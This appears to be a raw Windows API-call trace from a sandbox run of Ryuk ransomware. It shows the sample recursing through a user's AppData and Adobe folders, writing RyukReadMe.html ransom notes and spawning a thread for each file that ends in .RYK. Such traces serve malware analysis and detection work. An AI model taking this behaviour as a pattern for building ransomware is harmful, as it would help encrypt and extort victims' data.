	[0201.592] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0201.592] GetLastError () returned 0xb7
	[0201.592] CloseHandle (hObject=0x358) returned 1
	[0201.592] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ed40
	[0201.593] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.593] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0201.593] SetLastError (dwErrCode=0x0) 
	[0201.593] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.593] GetLastError () returned 0xb7
	[0201.593] CloseHandle (hObject=0x3c0) returned 1
	[0201.594] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0201.594] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.594] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0201.594] SetLastError (dwErrCode=0x0) 
	[0201.594] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0201.594] GetLastError () returned 0xb7
	[0201.594] CloseHandle (hObject=0x3f8) returned 1
	[0201.594] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0201.595] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.595] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0201.595] SetLastError (dwErrCode=0x0) 
	[0201.595] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408
	[0201.595] GetLastError () returned 0xb7
	[0201.595] CloseHandle (hObject=0x408) returned 1
	[0201.596] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0201.596] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.596] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x11a, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0201.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0202.102] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.105] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x11a, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0202.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0202.114] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.115] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11a, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0202.115] SetLastError (dwErrCode=0x0) 
	[0202.115] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414
	[0202.116] GetLastError () returned 0xb7
	[0202.116] CloseHandle (hObject=0x414) returned 1
	[0202.116] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x124, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
	[0202.116] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x124, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.117] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x124, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0202.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0202.126] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.127] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x124, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.127] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x124, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0202.127] FindClose (in: hFindFile=0x29ee00 | out: hFindFile=0x29ee00) returned 1
	[0202.127] SetLastError (dwErrCode=0x0) 
	[0202.128] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414
	[0202.128] GetLastError () returned 0xb7
	[0202.128] CloseHandle (hObject=0x414) returned 1
	[0202.128] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x11a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.128] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x11a, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0202.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0202.137] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.137] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x11a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0202.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0202.146] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.147] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x11a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0202.147] FindClose (in: hFindFile=0x29eda0 | out: hFindFile=0x29eda0) returned 1
	[0202.147] SetLastError (dwErrCode=0x0) 
	[0202.147] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408
	[0202.148] GetLastError () returned 0xb7
	[0202.148] CloseHandle (hObject=0x408) returned 1
	[0202.148] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.148] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0202.148] FindClose (in: hFindFile=0x29ece0 | out: hFindFile=0x29ece0) returned 1
	[0202.148] SetLastError (dwErrCode=0x0) 
	[0202.148] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0202.149] GetLastError () returned 0xb7
	[0202.149] CloseHandle (hObject=0x3f8) returned 1
	[0202.149] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0202.149] SetLastError (dwErrCode=0x0) 
	[0202.149] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0202.149] GetLastError () returned 0xb7
	[0202.149] CloseHandle (hObject=0x3f8) returned 1
	[0202.150] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0202.150] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.150] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x10a, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0202.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0202.158] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.159] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0202.159] SetLastError (dwErrCode=0x0) 
